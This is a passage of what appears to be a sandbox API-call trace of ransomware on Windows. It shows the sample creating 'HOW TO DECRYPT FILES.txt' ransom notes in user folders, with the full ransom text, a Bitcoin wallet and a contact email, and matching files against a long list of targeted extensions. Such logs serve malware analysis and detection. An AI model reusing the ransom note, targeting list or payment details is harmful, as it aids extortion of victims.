lpString2="Windows Live Spaces.url") returned -1 [0090.211] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned="Windows Live Mail.url" [0090.211] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" [0090.211] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="" [0090.211] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt" [0090.211] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to decrypt files.txt")) returned 0x20 [0090.211] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpString2="Windows Live Spaces.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" [0090.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url", pszSpec="*.ems") returned 0 [0090.211] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0090.211] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0090.211] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0090.212] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0090.212] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0090.212] lstrcmpA (lpString1=".", lpString2="Links") returned -1 [0090.212] lstrcmpA (lpString1="..", lpString2="Links") returned -1 [0090.212] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0090.212] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Links" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" [0090.212] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned 35 [0090.212] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0090.212] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.213] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.213] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.213] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.213] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.213] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.213] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0090.213] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0090.213] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0090.213] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*.*") returned="*.*" [0090.213] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" [0090.213] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="" [0090.213] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt" [0090.213] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\how to decrypt files.txt")) returned 0xffffffff [0090.214] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.215] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.215] WriteFile (in: hFile=0x88, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.217] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.217] CloseHandle (hObject=0x88) returned 1 [0090.217] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" [0090.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.ems") returned 0 [0090.217] lstrlenA (lpString="*.ems") returned 5 [0090.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.db") returned 0 [0090.217] lstrlenA (lpString="*.db") returned 4 [0090.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.dbf") returned 0 [0090.217] lstrlenA (lpString="*.dbf") returned 5 [0090.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.myox") returned 0 [0090.217] lstrlenA (lpString="*.myox") returned 6 [0090.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.myo") returned 0 [0090.217] lstrlenA (lpString="*.myo") returned 5 [0090.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.qbw") returned 0 [0090.217] lstrlenA (lpString="*.qbw") returned 5 [0090.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.qbb") returned 0 [0090.217] lstrlenA (lpString="*.qbb") returned 5 [0090.217] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.qbm") returned 0 [0090.217] lstrlenA (lpString="*.qbm") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.qbo") returned 0 [0090.218] lstrlenA (lpString="*.qbo") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.qbx") returned 0 [0090.218] lstrlenA (lpString="*.qbx") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.qba") returned 0 [0090.218] lstrlenA (lpString="*.qba") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.qby") returned 0 [0090.218] lstrlenA (lpString="*.qby") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.qbj") returned 0 [0090.218] lstrlenA (lpString="*.qbj") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.ofx") returned 0 [0090.218] lstrlenA (lpString="*.ofx") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.qif") returned 0 [0090.218] lstrlenA (lpString="*.qif") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.mye") returned 0 [0090.218] lstrlenA (lpString="*.mye") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.mbox") returned 0 [0090.218] lstrlenA (lpString="*.mbox") returned 6 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.eml") returned 0 [0090.218] lstrlenA (lpString="*.eml") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.pst") returned 0 [0090.218] lstrlenA (lpString="*.pst") returned 5 [0090.218] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.ost") returned 0 [0090.219] lstrlenA (lpString="*.ost") returned 5 [0090.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.idx") returned 0 [0090.219] lstrlenA (lpString="*.idx") returned 5 [0090.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.dbx") returned 0 [0090.219] lstrlenA (lpString="*.dbx") returned 5 [0090.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.sql") returned 0 [0090.219] lstrlenA (lpString="*.sql") returned 5 [0090.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.mdb") returned 0 [0090.219] lstrlenA (lpString="*.mdb") returned 5 [0090.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.fdb") returned 0 [0090.219] lstrlenA (lpString="*.fdb") returned 5 [0090.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.wab") returned 0 [0090.219] lstrlenA (lpString="*.wab") returned 5 [0090.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.dat") returned 0 [0090.219] lstrlenA (lpString="*.dat") returned 5 [0090.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.txt") returned 0 [0090.219] lstrlenA (lpString="*.txt") returned 5 [0090.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.jpeg") returned 0 [0090.219] lstrlenA (lpString="*.jpeg") returned 6 [0090.219] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.jpg") returned 0 [0090.219] lstrlenA (lpString="*.jpg") returned 5 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.png") returned 0 [0090.220] lstrlenA (lpString="*.png") returned 5 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.php") returned 0 [0090.220] lstrlenA (lpString="*.php") returned 5 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.cs") returned 0 [0090.220] lstrlenA (lpString="*.cs") returned 4 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.cpp") returned 0 [0090.220] lstrlenA (lpString="*.cpp") returned 5 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.rar") returned 0 [0090.220] lstrlenA (lpString="*.rar") returned 5 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.zip") returned 0 [0090.220] lstrlenA (lpString="*.zip") returned 5 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.html") returned 0 [0090.220] lstrlenA (lpString="*.html") returned 6 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.htm") returned 0 [0090.220] lstrlenA (lpString="*.htm") returned 5 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.xlsx") returned 0 [0090.220] lstrlenA (lpString="*.xlsx") returned 6 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.xls") returned 0 [0090.220] lstrlenA (lpString="*.xls") returned 5 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.mp4") returned 0 [0090.220] lstrlenA (lpString="*.mp4") returned 5 [0090.220] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.ppt") returned 0 [0090.221] lstrlenA (lpString="*.ppt") returned 5 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.pptx") returned 0 [0090.221] lstrlenA (lpString="*.pptx") returned 6 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.doc") returned 0 [0090.221] lstrlenA (lpString="*.doc") returned 5 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.dot") returned 0 [0090.221] lstrlenA (lpString="*.dot") returned 5 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.docx") returned 0 [0090.221] lstrlenA (lpString="*.docx") returned 6 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.7z") returned 0 [0090.221] lstrlenA (lpString="*.7z") returned 4 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.tar") returned 0 [0090.221] lstrlenA (lpString="*.tar") returned 5 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.bz2") returned 0 [0090.221] lstrlenA (lpString="*.bz2") returned 5 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.gz") returned 0 [0090.221] lstrlenA (lpString="*.gz") returned 4 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.mkv") returned 0 [0090.221] lstrlenA (lpString="*.mkv") returned 5 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.eml") returned 0 [0090.221] lstrlenA (lpString="*.eml") returned 5 [0090.221] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.msg") returned 0 [0090.222] lstrlenA (lpString="*.msg") returned 5 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.edb") returned 0 [0090.222] lstrlenA (lpString="*.edb") returned 5 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.accdb") returned 0 [0090.222] lstrlenA (lpString="*.accdb") returned 7 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.odb") returned 0 [0090.222] lstrlenA (lpString="*.odb") returned 5 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.java") returned 0 [0090.222] lstrlenA (lpString="*.java") returned 6 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.asm") returned 0 [0090.222] lstrlenA (lpString="*.asm") returned 5 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.pfx") returned 0 [0090.222] lstrlenA (lpString="*.pfx") returned 5 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.pem") returned 0 [0090.222] lstrlenA (lpString="*.pem") returned 5 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.p12") returned 0 [0090.222] lstrlenA (lpString="*.p12") returned 5 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.gpg") returned 0 [0090.222] lstrlenA (lpString="*.gpg") returned 5 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.vsd") returned 0 [0090.222] lstrlenA (lpString="*.vsd") returned 5 [0090.222] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.odg") returned 0 [0090.223] lstrlenA (lpString="*.odg") returned 5 [0090.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.raw") returned 0 [0090.223] lstrlenA (lpString="*.raw") returned 5 [0090.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.nef") returned 0 [0090.223] lstrlenA (lpString="*.nef") returned 5 [0090.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.svg") returned 0 [0090.223] lstrlenA (lpString="*.svg") returned 5 [0090.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.psd") returned 0 [0090.223] lstrlenA (lpString="*.psd") returned 5 [0090.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.vmx") returned 0 [0090.223] lstrlenA (lpString="*.vmx") returned 5 [0090.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.vmdk") returned 0 [0090.223] lstrlenA (lpString="*.vmdk") returned 6 [0090.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.vdi") returned 0 [0090.223] lstrlenA (lpString="*.vdi") returned 5 [0090.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.lay6") returned 0 [0090.223] lstrlenA (lpString="*.lay6") returned 6 [0090.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.mpeg") returned 0 [0090.223] lstrlenA (lpString="*.mpeg") returned 6 [0090.223] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.djvu") returned 0 [0090.223] lstrlenA (lpString="*.djvu") returned 6 [0090.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.tiff") returned 0 [0090.224] lstrlenA (lpString="*.tiff") returned 6 [0090.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.backup") returned 0 [0090.224] lstrlenA (lpString="*.backup") returned 8 [0090.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.pdf") returned 0 [0090.224] lstrlenA (lpString="*.pdf") returned 5 [0090.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.cert") returned 0 [0090.224] lstrlenA (lpString="*.cert") returned 6 [0090.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.docm") returned 0 [0090.224] lstrlenA (lpString="*.docm") returned 6 [0090.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.xlsm") returned 0 [0090.224] lstrlenA (lpString="*.xlsm") returned 6 [0090.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.dwg") returned 0 [0090.224] lstrlenA (lpString="*.dwg") returned 5 [0090.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.nd") returned 0 [0090.224] lstrlenA (lpString="*.nd") returned 4 [0090.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.tlg") returned 0 [0090.224] lstrlenA (lpString="*.tlg") returned 5 [0090.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.lgb") returned 0 [0090.224] lstrlenA (lpString="*.lgb") returned 5 [0090.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.mov") returned 0 [0090.225] lstrlenA (lpString="*.mov") returned 5 [0090.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.xdw") returned 0 [0090.225] lstrlenA (lpString="*.xdw") returned 5 [0090.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.ods") returned 0 [0090.225] lstrlenA (lpString="*.ods") returned 5 [0090.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.wav") returned 0 [0090.225] lstrlenA (lpString="*.wav") returned 5 [0090.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.mp3") returned 0 [0090.225] lstrlenA (lpString="*.mp3") returned 5 [0090.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.aiff") returned 0 [0090.225] lstrlenA (lpString="*.aiff") returned 6 [0090.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.flac") returned 0 [0090.225] lstrlenA (lpString="*.flac") returned 6 [0090.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.m4a") returned 0 [0090.225] lstrlenA (lpString="*.m4a") returned 5 [0090.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini", pszSpec="*.csv") 